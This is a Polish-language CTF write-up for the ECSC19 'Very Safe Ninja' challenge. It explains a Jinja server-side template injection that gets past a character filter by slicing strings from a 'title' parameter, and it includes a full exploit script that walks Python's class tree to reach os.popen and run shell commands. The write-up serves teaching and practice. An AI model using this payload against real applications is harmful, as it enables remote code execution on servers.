Very Safe Ninja

Zadanie

ecsc19_verysecureninja.png

Dosyć typowe zadanko na SSTI, filtrowane znaczki to: '"|. Musimy stworzyć payloada bez ich użycia, ale możemy użyć zmiennej title z dowolną zawartością.

Rozwiązanie

By pozbyć się ' i " przekażemy wszystkie używane stringi w zmiennj title i będziemy sie odwoływać do jej fragmentów. | nie był tu potrzebny, wiec niezbyt wiem z jakiego powodu znalazł sie w blokowanych znakach. Brak . ominiemy standardowo: zamiast napisać os.system, można zrobić os['system']. Potem zostaje przejście Pythonowego drzewka klas żeby dostać sie do czegoś przydatnego i to wywołać, ja użyłem os.popen. Skrypt rozwiązujący zadanie:

#!/bin/python3

import io
import requests
import html
import binascii

t = requests.post('https://verysafeninja.ecsc19.hack.cert.pl/', data = {'title' : '__class____mro____subclasses__load_module__globals____import____builtins__getattrospopenecho *readcat flag*'}, files=[
    ('content', ('body.html', io.BytesIO(b'''
{% set builtins = request[title[0:9]][title[9:16]][9][title[16:30]]()[69][title[30:41]][title[41:52]][title[52:62]][title[41:52]][title[62:74]] %}
{% set getattr = builtins[title[74:81]] %}
{% set os = builtins[title[52:62]](title[81:83]) %}
{% set popen = getattr(os, title[83:88]) %}
{% set a = popen(title[98:107]) %}
{{ getattr(a, title[94:98])() }}

{{ system }}
{{title[0:9]}} __class__
{{title[9:16]}} __mro__
{{title[16:30]}} __subclasses__
{{title[30:41]}} load_module
{{title[41:52]}} __globals__
{{title[52:62]}} __import__
{{title[62:74]}} __builtins__
{{title[74:81]}} getattr
{{title[81:83]}} os
{{title[83:88]}} popen
{{title[88:94]}} echo *
{{title[94:98]}} read
{{title[98:107]}} cat flag*
    '''.strip()), 'text/html', {'Expires': '0'})),
], allow_redirects=False)
print(html.unescape(t.text))
print(t.status_code)

Po wywołaniu otrzymujemy flagę: ecsc19{g0d-damn-those-templates-again}